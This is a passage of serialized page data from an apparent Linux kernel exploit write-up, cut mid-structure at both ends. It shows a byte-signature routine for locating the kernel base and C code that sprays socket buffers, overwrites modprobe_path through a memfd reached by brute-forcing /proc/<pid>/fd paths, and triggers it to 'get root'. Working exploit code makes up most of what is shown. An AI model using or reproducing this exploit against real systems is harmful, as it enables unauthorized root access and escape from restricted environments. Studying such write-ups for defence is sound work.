break",{"type":23,"tag":504,"props":57940,"children":57941},{"style":523},[57942],{"type":28,"value":866},{"type":23,"tag":504,"props":57944,"children":57945},{"class":506,"line":1516},[57946],{"type":23,"tag":504,"props":57947,"children":57948},{"style":523},[57949],{"type":28,"value":1282},{"type":23,"tag":504,"props":57951,"children":57952},{"class":506,"line":1543},[57953],{"type":23,"tag":504,"props":57954,"children":57955},{"style":523},[57956],{"type":28,"value":1291},{"type":23,"tag":504,"props":57958,"children":57959},{"class":506,"line":1583},[57960],{"type":23,"tag":504,"props":57961,"children":57962},{"emptyLinePlaceholder":16},[57963],{"type":28,"value":1038},{"type":23,"tag":504,"props":57965,"children":57966},{"class":506,"line":1605},[57967],{"type":23,"tag":504,"props":57968,"children":57969},{"style":523},[57970],{"type":28,"value":9299},{"type":23,"tag":24,"props":57972,"children":57973},{},[57974,57976,57980,57982,57988,57990,57994],{"type":28,"value":57975},"Notice that at ",{"type":23,"tag":504,"props":57977,"children":57978},{},[57979],{"type":28,"value":2991},{"type":28,"value":57981}," we call the ",{"type":23,"tag":56,"props":57983,"children":57985},{"className":57984},[],[57986],{"type":28,"value":57987},"is_kernel_base()",{"type":28,"value":57989}," function. This is a function based on lau's exploit ",{"type":23,"tag":504,"props":57991,"children":57992},{},[57993],{"type":28,"value":17089},{"type":28,"value":57995}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":494,"props":57997,"children":57999},{"className":28091,"code":57998,"language":28093,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[58000],{"type":23,"tag":56,"props":58001,"children":58002},{"__ignoreMap":7},[58003,58010,58040,58047,58055,58062,58070,58141,58203,58218,58225,58233,58301,58363,58424,58485,58547,58609,58670,58731,58792,58853,58914,58929,58936,58951,58958],{"type":23,"tag":504,"props":58004,"children":58005},{"class":506,"line":507},[58006],{"type":23,"tag":504,"props":58007,"children":58008},{"style":523},[58009],{"type":28,"value":9299},{"type":23,"tag":504,"props":58011,"children":58012},{"class":506,"line":540},[58013,58018,58023,58028,58032,58036],{"type":23,"tag":504,"props":58014,"children":58015},{"style":523},[58016],{"type":28,"value":58017},"static bool is_kernel_base(",{"type":23,"tag":504,"props":58019,"children":58020},{"style":511},[58021],{"type":28,"value":58022},"unsigned",{"type":23,"tag":504,"props":58024,"children":58025},{"style":511},[58026],{"type":28,"value":58027}," char",{"type":23,"tag":504,"props":58029,"children":58030},{"style":511},[58031],{"type":28,"value":8797},{"type":23,"tag":504,"props":58033,"children":58034},{"style":529},[58035],{"type":28,"value":29669},{"type":23,"tag":504,"props":58037,"children":58038},{"style":523},[58039],{"type":28,"value":1192},{"type":23,"tag":504,"props":58041,"children":58042},{"class":506,"line":555},[58043],{"type":23,"tag":504,"props":58044,"children":58045},{"style":523},[58046],{"type":28,"value":9862},{"type":23,"tag":504,"props":58048,"children":58049},{"class":506,"line":633},[58050],{"type":23,"tag":504,"props":58051,"children":58052},{"style":1106},[58053],{"type":28,"value":58054},"    // thanks lau :)\n",{"type":23,"tag":504,"props":58056,"children":58057},{"class":506,"line":687},[58058],{"type":23,"tag":504,"props":58059,"children":58060},{"emptyLinePlaceholder":16},[58061],{"type":28,"value":1038},{"type":23,"tag":504,"props":58063,"children":58064},{"class":506,"line":736},[58065],{"type":23,"tag":504,"props":58066,"children":58067},{"style":1106},[58068],{"type":28,"value":58069},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":504,"props":58071,"children":58072},{"class":506,"line":785},[58073,58077,58081,58086,58091,58095,58100,58104,58108,58113,58117,58121,58125,58129,58133,58137],{"type":23,"tag":504,"props":58074,"children":58075},{"style":544},[58076],{"type":28,"value":11261},{"type":23,"tag":504,"props":58078,"children":58079},{"style":523},[58080],{"type":28,"value":801},{"type":23,"tag":504,"props":58082,"children":58083},{"style":517},[58084],{"type":28,"value":58085},"memcmp",{"type":23,"tag":504,"props":58087,"children":58088},{"style":523},[58089],{"type":28,"value":58090},"(addr ",{"type":23,"tag":504,"props":58092,"children":58093},{"style":598},[58094],{"type":28,"value":1642},{"type":23,"tag":504,"props":58096,"children":58097},{"style":1440},[58098],{"type":28,"value":58099}," 0x0",{"type":23,"tag":504,"props":58101,"children":58102},{"style":523},[58103],{"type":28,"value":576},{"type":23,"tag":504,"props":58105,"children":58106},{"style":622},[58107],{"type":28,"value":1268},{"type":23,"tag":504,"props":58109,"children":58110},{"style":47353},[58111],{"type":28,"value":58112},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":504,"props":58114,"children":58115},{"style":622},[58116],{"type":28,"value":1268},{"type":23,"tag":504,"props":58118,"children":58119},{"style":523},[58120],{"type":28,"value":576},{"type":23,"tag":504,"props":58122,"children":58123},{"style":1440},[58124],{"type":28,"value":17089},{"type":23,"tag":504,"props":58126,"children":58127},{"style":523},[58128],{"type":28,"value":2064},{"type":23,"tag":504,"props":58130,"children":58131},{"style":598},[58132],{"type":28,"value":7559},{"type":23,"tag":504,"props":58134,"children":58135},{"style":1440},[58136],{"type":28,"value":2023},{"type":23,"tag":504,"props":58138,"children":58139},{"style":598},[58140],{"type":28,"value":51662},{"type":23,"tag":504,"props":58142,"children":58143},{"class":506,"line":813},[58144,58149,58153,58157,58162,58166,58170,58175,58179,58183,58187,58191,58195,58199],{"type":23,"tag":504,"props":58145,"children":58146},{"style":517},[58147],{"type":28,"value":58148},"        memcmp",{"type":23,"tag":504,"props":58150,"children":58151},{"style":523},[58152],{"type":28,"value":58090},{"type":23,"tag":504,"props":58154,"children":58155},{"style":598},[58156],{"type":28,"value":1642},{"type":23,"tag":504,"props":58158,"children":58159},{"style":1440},[58160],{"type":28,"value":58161}," 0x7",{"type":23,"tag":504,"props":58163,"children":58164},{"style":523},[58165],{"type":28,"value":576},{"type":23,"tag":504,"props":58167,"children":58168},{"style":622},[58169],{"type":28,"value":1268},{"type":23,"tag":504,"props":58171,"children":58172},{"style":47353},[58173],{"type":28,"value":58174},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":504,"props":58176,"children":58177},{"style":622},[58178],{"type":28,"value":1268},{"type":23,"tag":504,"props":58180,"children":58181},{"style":523},[58182],{"type":28,"value":576},{"type":23,"tag":504,"props":58184,"children":58185},{"style":1440},[58186],{"type":28,"value":53649},{"type":23,"tag":504,"props":58188,"children":58189},{"style":523},[58190],{"type":28,"value":2064},{"type":23,"tag":504,"props":58192,"children":58193},{"style":598},[58194],{"type":28,"value":7559},{"type":23,"tag":504,"props":58196,"children":58197},{"style":1440},[58198],{"type":28,"value":2023},{"type":23,"tag":504,"props":58200,"children":58201},{"style":523},[58202],{"type":28,"value":1192},{"type":23,"tag":504,"props":58204,"children":58205},{"class":506,"line":851},[58206,58210,58214],{"type":23,"tag":504,"props":58207,"children":58208},{"style":544},[58209],{"type":28,"value":742},{"type":23,"tag":504,"props":58211,"children":58212},{"style":511},[58213],{"type":28,"value":1750},{"type":23,"tag":504,"props":58215,"children":58216},{"style":523},[58217],{"type":28,"value":866},{"type":23,"tag":504,"props":58219,"children":58220},{"class":506,"line":869},[58221],{"type":23,"tag":504,"props":58222,"children":58223},{"emptyLinePlaceholder":16},[58224],{"type":28,"value":1038},{"type":23,"tag":504,"props":58226,"children":58227},{"class":506,"line":878},[58228],{"type":23,"tag":504,"props":58229,"children":58230},{"style":1106},[58231],{"type":28,"value":58232},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":504,"props":58234,"children":58235},{"class":506,"line":1221},[58236,58240,58244,58248,58252,58256,58260,58264,58268,58273,58277,58281,58285,58289,58293,58297],{"type":23,"tag":504,"props":58237,"children":58238},{"style":544},[58239],{"type":28,"value":11261},{"type":23,"tag":504,"props":58241,"children":58242},{"style":523},[58243],{"type":28,"value":801},{"type":23,"tag":504,"props":58245,"children":58246},{"style":517},[58247],{"type":28,"value":58085},{"type":23,"tag":504,"props":58249,"children":58250},{"style":523},[58251],{"type":28,"value":58090},{"type":23,"tag":504,"props":58253,"children":58254},{"style":598},[58255],{"type":28,"value":1642},{"type":23,"tag":504,"props":58257,"children":58258},{"style":1440},[58259],{"type":28,"value":58099},{"type":23,"tag":504,"props":58261,"children":58262},{"style":523},[58263],{"type":28,"value":576},{"type":23,"tag":504,"props":58265,"children":58266},{"style":622},[58267],{"type":28,"value":1268},{"type":23,"tag":504,"props":58269,"children":58270},{"style":47353},[58271],{"type":28,"value":58272},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":504,"props":58274,"children":58275},{"style":622},[58276],{"type":28,"value":1268},{"type":23,"tag":504,"props":58278,"children":58279},{"style":523},[58280],{"type":28,"value":576},{"type":23,"tag":504,"props":58282,"children":58283},{"style":1440},[58284],{"type":28,"value":16508},{"type":23,"tag":504,"props":58286,"children":58287},{"style":523},[58288],{"type":28,"value":2064},{"type":23,"tag":504,"props":58290,"children":58291},{"style":598},[58292],{"type":28,"value":7559},{"type":23,"tag":504,"props":58294,"children":58295},{"style":1440},[58296],{"type":28,"value":2023},{"type":23,"tag":504,"props":58298,"children":58299},{"style":598},[58300],{"type":28,"value":51662},{"type":23,"tag":504,"props":58302,"children":58303},{"class":506,"line":1276},[58304,58308,58312,58316,58321,58325,58329,58334,58338,58342,58347,58351,58355,58359],{"type":23,"tag":504,"props":58305,"children":58306},{"style":517},[58307],{"type":28,"value":58148},{"type":23,"tag":504,"props":58309,"children":58310},{"style":523},[58311],{"type":28,"value":58090},{"type":23,"tag":504,"props":58313,"children":58314},{"style":598},[58315],{"type":28,"value":1642},{"type":23,"tag":504,"props":58317,"children":58318},{"style":1440},[58319],{"type":28,"value":58320}," 0x8",{"type":23,"tag":504,"props":58322,"children":58323},{"style":523},[58324],{"type":28,"value":576},{"type":23,"tag":504,"props":58326,"children":58327},{"style":622},[58328],{"type":28,"value":1268},{"type":23,"tag":504,"props":58330,"children":58331},{"style":47353},[58332],{"type":28,"value":58333},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":504,"props":58335,"children":58336},{"style":622},[58337],{"type":28,"value":1268},{"type":23,"tag":504,"props":58339,"children":58340},{"style":523},[58341],{"type":28,"value":576},{"type":23,"tag":504,"props":58343,"children":58344},{"style":1440},[58345],{"type":28,"value":58346},"12",{"type":23,"tag":504,"props":58348,"children":58349},{"style":523},[58350],{"type":28,"value":2064},{"type":23,"tag":504,"props":58352,"children":58353},{"style":598},[58354],{"type":28,"value":7559},{"type":23,"tag":504,"props":58356,"children":58357},{"style":1440},[58358],{"type":28,"value":2023},{"type":23,"tag":504,"props":58360,"children":58361},{"style":598},[58362],{"type":28,"value":51662},{"type":23,"tag":504,"props":58364,"children":58365},{"class":506,"line":1285},[58366,58370,58374,58378,58383,58387,58391,58396,58400,58404,58408,58412,58416,58420],{"type":23,"tag":504,"props":58367,"children":58368},{"style":517},[58369],{"type":28,"value":58148},{"type":23,"tag":504,"props":58371,"children":58372},{"style":523},[58373],{"type":28,"value":58090},{"type":23,"tag":504,"props":58375,"children":58376},{"style":598},[58377],{"type":28,"value":1642},{"type":23,"tag":504,"props":58379,"children":58380},{"style":1440},[58381],{"type":28,"value":58382}," 0x18",{"type":23,"tag":504,"props":58384,"children":58385},{"style":523},[58386],{"type":28,"value":576},{"type":23,"tag":504,"props":58388,"children":58389},{"style":622},[58390],{"type":28,"value":1268},{"type":23,"tag":504,"props":58392,"children":58393},{"style":47353},[58394],{"type":28,"value":58395},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":504,"props":58397,"children":58398},{"style":622},[58399],{"type":28,"value":1268},{"type":23,"tag":504,"props":58401,"children":58402},{"style":523},[58403],{"type":28,"value":576},{"type":23,"tag":504,"props":58405,"children":58406},{"style":1440},[58407],{"type":28,"value":16508},{"type":23,"tag":504,"props":58409,"children":58410},{"style":523},[58411],{"type":28,"value":2064},{"type":23,"tag":504,"props":58413,"children":58414},{"style":598},[58415],{"type":28,"value":7559},{"type":23,"tag":504,"props":58417,"children":58418},{"style":1440},[58419],{"type":28,"value":2023},{"type":23,"tag":504,"props":58421,"children":58422},{"style":598},[58423],{"type":28,"value":51662},{"type":23,"tag":504,"props":58425,"children":58426},{"class":506,"line":1294},[58427,58431,58435,58439,58444,58448,58452,58457,58461,58465,58469,58473,58477,58481],{"type":23,"tag":504,"props":58428,"children":58429},{"style":517},[58430],{"type":28,"value":58148},{"type":23,"tag":504,"props":58432,"children":58433},{"style":523},[58434],{"type":28,"value":58090},{"type":23,"tag":504,"props":58436,"children":58437},{"style":598},[58438],{"type":28,"value":1642},{"type":23,"tag":504,"props":58440,"children":58441},{"style":1440},[58442],{"type":28,"value":58443}," 0x20",{"type":23,"tag":504,"props":58445,"children":58446},{"style":523},[58447],{"type":28,"value":576},{"type":23,"tag":504,"props":58449,"children":58450},{"style":622},[58451],{"type":28,"value":1268},{"type":23,"tag":504,"props":58453,"children":58454},{"style":47353},[58455],{"type":28,"value":58456},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":504,"props":58458,"children":58459},{"style":622},[58460],{"type":28,"value":1268},{"type":23,"tag":504,"props":58462,"children":58463},{"style":523},[58464],{"type":28,"value":576},{"type":23,"tag":504,"props":58466,"children":58467},{"style":1440},[58468],{"type":28,"value":17400},{"type":23,"tag":504,"props":58470,"children":58471},{"style":523},[58472],{"type":28,"value":2064},{"type":23,"tag":504,"props":58474,"children":58475},{"style":598},[58476],{"type":28,"value":7559},{"type":23,"tag":504,"props":58478,"children":58479},{"style":1440},[58480],{"type":28,"value":2023},{"type":23,"tag":504,"props":58482,"children":58483},{"style":598},[58484],{"type":28,"value":51662},{"type":23,"tag":504,"props":58486,"children":58487},{"class":506,"line":1302},[58488,58492,58496,58500,58505,58509,58513,58518,58522,58526,58531,58535,58539,58543],{"type":23,"tag":504,"props":58489,"children":58490},{"style":517},[58491],{"type":28,"value":58148},{"type":23,"tag":504,"props":58493,"children":58494},{"style":523},[58495],{"type":28,"value":58090},{"type":23,"tag":504,"props":58497,"children":58498},{"style":598},[58499],{"type":28,"value":1642},{"type":23,"tag":504,"props":58501,"children":58502},{"style":1440},[58503],{"type":28,"value":58504}," 0x2a",{"type":23,"tag":504,"props":58506,"children":58507},{"style":523},[58508],{"type":28,"value":576},{"type":23,"tag":504,"props":58510,"children":58511},{"style":622},[58512],{"type":28,"value":1268},{"type":23,"tag":504,"props":58514,"children":58515},{"style":47353},[58516],{"type":28,"value":58517},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":504,"props":58519,"children":58520},{"style":622},[58521],{"type":28,"value":1268},{"type":23,"tag":504,"props":58523,"children":58524},{"style":523},[58525],{"type":28,"value":576},{"type":23,"tag":504,"props":58527,"children":58528},{"style":1440},[58529],{"type":28,"value":58530},"24",{"type":23,"tag":504,"props":58532,"children":58533},{"style":523},[58534],{"type":28,"value":2064},{"type":23,"tag":504,"props":58536,"children":58537},{"style":598},[58538],{"type":28,"value":7559},{"type":23,"tag":504,"props":58540,"children":58541},{"style":1440},[58542],{"type":28,"value":2023},{"type":23,"tag":504,"props":58544,"children":58545},{"style":598},[58546],{"type":28,"value":51662},{"type":23,"tag":504,"props":58548,"children":58549},{"class":506,"line":1311},[58550,58554,58558,58562,58567,58571,58575,58580,58584,58588,58593,58597,58601,58605],{"type":23,"tag":504,"props":58551,"children":58552},{"style":517},[58553],{"type":28,"value":58148},{"type":23,"tag":504,"props":58555,"children":58556},{"style":523},[58557],{"type":28,"value":58090},{"type":23,"tag":504,"props":58559,"children":58560},{"style":598},[58561],{"type":28,"value":1642},{"type":23,"tag":504,"props":58563,"children":58564},{"style":1440},[58565],{"type":28,"value":58566}," 0x45",{"type":23,"tag":504,"props":58568,"children":58569},{"style":523},[58570],{"type":28,"value":576},{"type":23,"tag":504,"props":58572,"children":58573},{"style":622},[58574],{"type":28,"value":1268},{"type":23,"tag":504,"props":58576,"children":58577},{"style":47353},[58578],{"type":28,"value":58579},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":504,"props":58581,"children":58582},{"style":622},[58583],{"type":28,"value":1268},{"type":23,"tag":504,"props":58585,"children":58586},{"style":523},[58587],{"type":28,"value":576},{"type":23,"tag":504,"props":58589,"children":58590},{"style":1440},[58591],{"type":28,"value":58592},"15",{"type":23,"tag":504,"props":58594,"children":58595},{"style":523},[58596],{"type":28,"value":2064},{"type":23,"tag":504,"props":58598,"children":58599},{"style":598},[58600],{"type":28,"value":7559},{"type":23,"tag":504,"props":58602,"children":58603},{"style":1440},[58604],{"type":28,"value":2023},{"type":23,"tag":504,"props":58606,"children":58607},{"style":598},[58608],{"type":28,"value":51662},{"type":23,"tag":504,"props":58610,"children":58611},{"class":506,"line":1334},[58612,58616,58620,58624,58629,58633,58637,58642,58646,58650,58654,58658,58662,58666],{"type":23,"tag":504,"props":58613,"children":58614},{"style":517},[58615],{"type":28,"value":58148},{"type":23,"tag":504,"props":58617,"children":58618},{"style":523},[58619],{"type":28,"value":58090},{"type":23,"tag":504,"props":58621,"children":58622},{"style":598},[58623],{"type":28,"value":1642},{"type":23,"tag":504,"props":58625,"children":58626},{"style":1440},[58627],{"type":28,"value":58628}," 0x55",{"type":23,"tag":504,"props":58630,"children":58631},{"style":523},[58632],{"type":28,"value":576},{"type":23,"tag":504,"props":58634,"children":58635},{"style":622},[58636],{"type":28,"value":1268},{"type":23,"tag":504,"props":58638,"children":58639},{"style":47353},[58640],{"type":28,"value":58641},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":504,"props":58643,"children":58644},{"style":622},[58645],{"type":28,"value":1268},{"type":23,"tag":504,"props":58647,"children":58648},{"style":523},[58649],{"type":28,"value":576},{"type":23,"tag":504,"props":58651,"children":58652},{"style":1440},[58653],{"type":28,"value":3055},{"type":23,"tag":504,"props":58655,"children":58656},{"style":523},[58657],{"type":28,"value":2064},{"type":23,"tag":504,"props":58659,"children":58660},{"style":598},[58661],{"type":28,"value":7559},{"type":23,"tag":504,"props":58663,"children":58664},{"style":1440},[58665],{"type":28,"value":2023},{"type":23,"tag":504,"props":58667,"children":58668},{"style":598},[58669],{"type":28,"value":51662},{"type":23,"tag":504,"props":58671,"children":58672},{"class":506,"line":1370},[58673,58677,58681,58685,58690,58694,58698,58703,58707,58711,58715,58719,58723,58727],{"type":23,"tag":504,"props":58674,"children":58675},{"style":517},[58676],{"type":28,"value":58148},{"type":23,"tag":504,"props":58678,"children":58679},{"style":523},[58680],{"type":28,"value":58090},{"type":23,"tag":504,"props":58682,"children":58683},{"style":598},[58684],{"type":28,"value":1642},{"type":23,"tag":504,"props":58686,"children":58687},{"style":1440},[58688],{"type":28,"value":58689}," 0x61",{"type":23,"tag":504,"props":58691,"children":58692},{"style":523},[58693],{"type":28,"value":576},{"type":23,"tag":504,"props":58695,"children":58696},{"style":622},[58697],{"type":28,"value":1268},{"type":23,"tag":504,"props":58699,"children":58700},{"style":47353},[58701],{"type":28,"value":58702},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":504,"props":58704,"children":58705},{"style":622},[58706],{"type":28,"value":1268},{"type":23,"tag":504,"props":58708,"children":58709},{"style":523},[58710],{"type":28,"value":576},{"type":23,"tag":504,"props":58712,"children":58713},{"style":1440},[58714],{"type":28,"value":17089},{"type":23,"tag":504,"props":58716,"children":58717},{"style":523},[58718],{"type":28,"value":2064},{"type":23,"tag":504,"props":58720,"children":58721},{"style":598},[58722],{"type":28,"value":7559},{"type":23,"tag":504,"props":58724,"children":58725},{"style":1440},[58726],{"type":28,"value":2023},{"type":23,"tag":504,"props":58728,"children":58729},{"style":598},[58730],{"type":28,"value":51662},{"type":23,"tag":504,"props":58732,"children":58733},{"class":506,"line":1384},[58734,58738,58742,58746,58751,58755,58759,58764,58768,58772,58776,58780,58784,58788],{"type":23,"tag":504,"props":58735,"children":58736},{"style":517},[58737],{"type":28,"value":58148},{"type":23,"tag":504,"props":58739,"children":58740},{"style":523},[58741],{"type":28,"value":58090},{"type":23,"tag":504,"props":58743,"children":58744},{"style":598},[58745],{"type":28,"value":1642},{"type":23,"tag":504,"props":58747,"children":58748},{"style":1440},[58749],{"type":28,"value":58750}," 0x6a",{"type":23,"tag":504,"props":58752,"children":58753},{"style":523},[58754],{"type":28,"value":576},{"type":23,"tag":504,"props":58756,"children":58757},{"style":622},[58758],{"type":28,"value":1268},{"type":23,"tag":504,"props":58760,"children":58761},{"style":47353},[58762],{"type":28,"value":58763},"\\x48\\xc7\\xc6",{"type":23,"tag":504,"props":58765,"children":58766},{"style":622},[58767],{"type":28,"value":1268},{"type":23,"tag":504,"props":58769,"children":58770},{"style":523},[58771],{"type":28,"value":576},{"type":23,"tag":504,"props":58773,"children":58774},{"style":1440},[58775],{"type":28,"value":16275},{"type":23,"tag":504,"props":58777,"children":58778},{"style":523},[58779],{"type":28,"value":2064},{"type":23,"tag":504,"props":58781,"children":58782},{"style":598},[58783],{"type":28,"value":7559},{"type":23,"tag":504,"props":58785,"children":58786},{"style":1440},[58787],{"type":28,"value":2023},{"type":23,"tag":504,"props":58789,"children":58790},{"style":598},[58791],{"type":28,"value":51662},{"type":23,"tag":504,"props":58793,"children":58794},{"class":506,"line":1392},[58795,58799,58803,58807,58812,58816,58820,58825,58829,58833,58837,58841,58845,58849],{"type":23,"tag":504,"props":58796,"children":58797},{"style":517},[58798],{"type":28,"value":58148},{"type":23,"tag":504,"props":58800,"children":58801},{"style":523},[58802],{"type":28,"value":58090},{"type":23,"tag":504,"props":58804,"children":58805},{"style":598},[58806],{"type":28,"value":1642},{"type":23,"tag":504,"props":58808,"children":58809},{"style":1440},[58810],{"type":28,"value":58811}," 0x71",{"type":23,"tag":504,"props":58813,"children":58814},{"style":523},[58815],{"type":28,"value":576},{"type":23,"tag":504,"props":58817,"children":58818},{"style":622},[58819],{"type":28,"value":1268},{"type":23,"tag":504,"props":58821,"children":58822},{"style":47353},[58823],{"type":28,"value":58824},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":504,"props":58826,"children":58827},{"style":622},[58828],{"type":28,"value":1268},{"type":23,"tag":504,"props":58830,"children":58831},{"style":523},[58832],{"type":28,"value":576},{"type":23,"tag":504,"props":58834,"children":58835},{"style":1440},[58836],{"type":28,"value":17400},{"type":23,"tag":504,"props":58838,"children":58839},{"style":523},[58840],{"type":28,"value":2064},{"type":23,"tag":504,"props":58842,"children":58843},{"style":598},[58844],{"type":28,"value":7559},{"type":23,"tag":504,"props":58846,"children":58847},{"style":1440},[58848],{"type":28,"value":2023},{"type":23,"tag":504,"props":58850,"children":58851},{"style":598},[58852],{"type":28,"value":51662},{"type":23,"tag":504,"props":58854,"children":58855},{"class":506,"line":1400},[58856,58860,58864,58868,58873,58877,58881,58886,58890,58894,58898,58902,58906,58910],{"type":23,"tag":504,"props":58857,"children":58858},{"style":517},[58859],{"type":28,"value":58148},{"type":23,"tag":504,"props":58861,"children":58862},{"style":523},[58863],{"type":28,"value":58090},{"type":23,"tag":504,"props":58865,"children":58866},{"style":598},[58867],{"type":28,"value":1642},{"type":23,"tag":504,"props":58869,"children":58870},{"style":1440},[58871],{"type":28,"value":58872}," 0x78",{"type":23,"tag":504,"props":58874,"children":58875},{"style":523},[58876],{"type":28,"value":576},{"type":23,"tag":504,"props":58878,"children":58879},{"style":622},[58880],{"type":28,"value":1268},{"type":23,"tag":504,"props":58882,"children":58883},{"style":47353},[58884],{"type":28,"value":58885},"\\xff\\xe0",{"type":23,"tag":504,"props":58887,"children":58888},{"style":622},[58889],{"type":28,"value":1268},{"type":23,"tag":504,"props":58891,"children":58892},{"style":523},[58893],{"type":28,"value":576},{"type":23,"tag":504,"props":58895,"children":58896},{"style":1440},[58897],{"type":28,"value":2100},{"type":23,"tag":504,"props":58899,"children":58900},{"style":523},[58901],{"type":28,"value":2064},{"type":23,"tag":504,"props":58903,"children":58904},{"style":598},[58905],{"type":28,"value":7559},{"type":23,"tag":504,"props":58907,"children":58908},{"style":1440},[58909],{"type":28,"value":2023},{"type":23,"tag":504,"props":58911,"children":58912},{"style":523},[58913],{"type":28,"value":1192},{"type":23,"tag":504,"props":58915,"children":58916},{"class":506,"line":1422},[58917,58921,58925],{"type":23,"tag":504,"props":58918,"children":58919},{"style":544},[58920],{"type":28,"value":742},{"type":23,"tag":504,"props":58922,"children":58923},{"style":511},[58924],{"type":28,"value":1750},{"type":23,"tag":504,"props":58926,"children":58927},{"style":523},[58928],{"type":28,"value":866},{"type":23,"tag":504,"props":58930,"children":58931},{"class":506,"line":1450},[58932],{"type":23,"tag":504,"props":58933,"children":58934},{"emptyLinePlaceholder":16},[58935],{"type":28,"value":1038},{"type":23,"tag":504,"props":58937,"children":58938},{"class":506,"line":1463},[58939,58943,58947],{"type":23,"tag":504,"props":58940,"children":58941},{"style":544},[58942],{"type":28,"value":15968},{"type":23,"tag":504,"props":58944,"children":58945},{"style":511},[58946],{"type":28,"value":8041},{"type":23,"tag":504,"props":58948,"children":58949},{"style":523},[58950],{"type":28,"value":866},{"type":23,"tag":504,"props":58952,"children":58953},{"class":506,"line":1485},[58954],{"type":23,"tag":504,"props":58955,"children":58956},{"style":523},[58957],{"type":28,"value":884},{"type":23,"tag":504,"props":58959,"children":58960},{"class":506,"line":1503},[58961],{"type":23,"tag":504,"props":58962,"children":58963},{"style":523},[58964],{"type":28,"value":9299},{"type":23,"tag":82,"props":58966,"children":58968},{"id":58967},"overwriting-modprobe_path",[58969,58971],{"type":28,"value":58970},"Overwriting ",{"type":23,"tag":56,"props":58972,"children":58974},{"className":58973},[],[58975],{"type":28,"value":57357},{"type":23,"tag":24,"props":58977,"children":58978},{},[58979,58981,58987],{"type":28,"value":58980},"Finding the ",{"type":23,"tag":56,"props":58982,"children":58984},{"className":58983},[],[58985],{"type":28,"value":58986},"/sbin/modprobe",{"type":28,"value":58988}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":58990,"children":58991},{},[58992,58994,59000],{"type":28,"value":58993},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":56,"props":58995,"children":58997},{"className":58996},[],[58998],{"type":28,"value":58999},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":59001}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":494,"props":59003,"children":59005},{"className":28091,"code":59004,"language":28093,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C 